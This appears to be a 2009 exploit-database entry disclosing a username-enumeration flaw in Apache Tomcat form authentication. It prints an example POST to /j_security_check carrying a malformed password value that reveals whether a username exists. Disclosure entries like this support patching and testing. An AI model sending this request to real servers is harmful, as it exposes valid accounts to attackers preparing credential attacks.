Apache Tomcat - Form Authentication 'Username' Enumeration

Author: D. Matscheko
type: remote
platform: multiple
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date_added: 2009-11-08
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Attackers can use readily available tools to exploit this issue.

The following example POST data is available:

POST /j_security_check HTTP/1.1
Host: www.example.com

j_username=tomcat&j_password=%
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